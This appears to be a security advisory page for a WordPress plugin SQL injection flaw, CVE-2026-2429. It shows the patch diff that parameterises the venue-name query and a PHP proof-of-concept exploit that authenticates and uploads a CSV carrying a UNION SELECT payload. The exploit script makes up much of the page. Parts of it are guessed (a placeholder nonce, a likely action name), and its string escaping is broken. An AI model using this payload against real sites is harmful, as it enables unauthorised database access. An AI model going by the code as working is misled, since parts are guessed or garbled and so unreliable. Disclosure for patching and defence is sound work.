CVE-2026-2429: Community Events <= 1.5.8 – Authenticated (Administrator+) SQL Injection via 'ce_venue_name' CSV Field (community-events)

--- a/community-events/community-events.php
+++ b/community-events/community-events.php
@@ -2,10 +2,10 @@
 /*Plugin Name: Community Events
 Plugin URI: https://ylefebvre.github.io/wordpress-plugins/community-events/
 Description: A plugin used to manage events and display them in a widget
-Version: 1.5.8
+Version: 1.5.9
 Author: Yannick Lefebvre
 Author URI: https://ylefebvre.github.io
-Copyright 2025  Yannick Lefebvre  (email : ylefebvre@gmail.com)
+Copyright 2026  Yannick Lefebvre  (email : ylefebvre@gmail.com)

 This program is free software; you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
@@ -739,9 +739,9 @@
 					{
 						if (count($data) == 7)
 						{
-							$existingvenuequery = "SELECT ce_venue_id FROM " . $wpdb->prefix . "ce_venues v ";
-							$existingvenuequery .= "WHERE ce_venue_name = '" . $data[0] . "'";
-							$existingvenue = $wpdb->get_var($existingvenuequery);
+
+							$existingvenuequery = $wpdb->prepare( "SELECT ce_venue_id FROM " . $wpdb->prefix . "ce_venues v WHERE ce_venue_name = %s", $data[0] );
+							$existingvenue = $wpdb->get_var( $existingvenuequery );

 							if (!$existingvenue)
 							{

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2429 - Community Events <= 1.5.8 - Authenticated (Administrator+) SQL Injection via 'ce_venue_name' CSV Field
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'admin';
$password = 'password';

// Step 1: Authenticate and obtain WordPress cookies and nonce.
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In']));
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Fetch the admin page to locate the Community Events nonce for venue import.
$admin_page_url = str_replace('admin-ajax.php', 'admin.php?page=community-events/community-events.php&ce_action=venues', $target_url);
$ch = curl_init($admin_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$admin_page = curl_exec($ch);
curl_close($ch);

// Extract the nonce from the page (simplified pattern; real extraction may need regex).
// The nonce is typically in a form field named '_wpnonce' or 'ce_venues_nonce'.
// For this PoC, we assume a nonce variable is found.
$nonce = 'extracted_nonce_here';

// Step 3: Craft a malicious CSV payload.
// The payload injects a UNION SELECT to extract database version.
$malicious_venue_name = "test' UNION SELECT version() -- ";
$csv_content = ""{$malicious_venue_name}",Address,City,State,Zip,Country,Phonen";
$csv_file_path = 'malicious_venues.csv';
file_put_contents($csv_file_path, $csv_content);

// Step 4: Prepare the multipart form data for the AJAX request.
// The plugin's venue import likely uses the 'ce_upload_venues' action.
$post_fields = [
    'action' => 'ce_upload_venues',
    '_wpnonce' => $nonce,
    'venues_file' => new CURLFile($csv_file_path, 'text/csv', 'venues.csv')
];

// Step 5: Send the exploit request.
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$result = curl_exec($ch);
curl_close($ch);

// Step 6: Check response for SQL injection success.
echo "Response: " . htmlspecialchars($result) . "n";
unlink($csv_file_path);
?>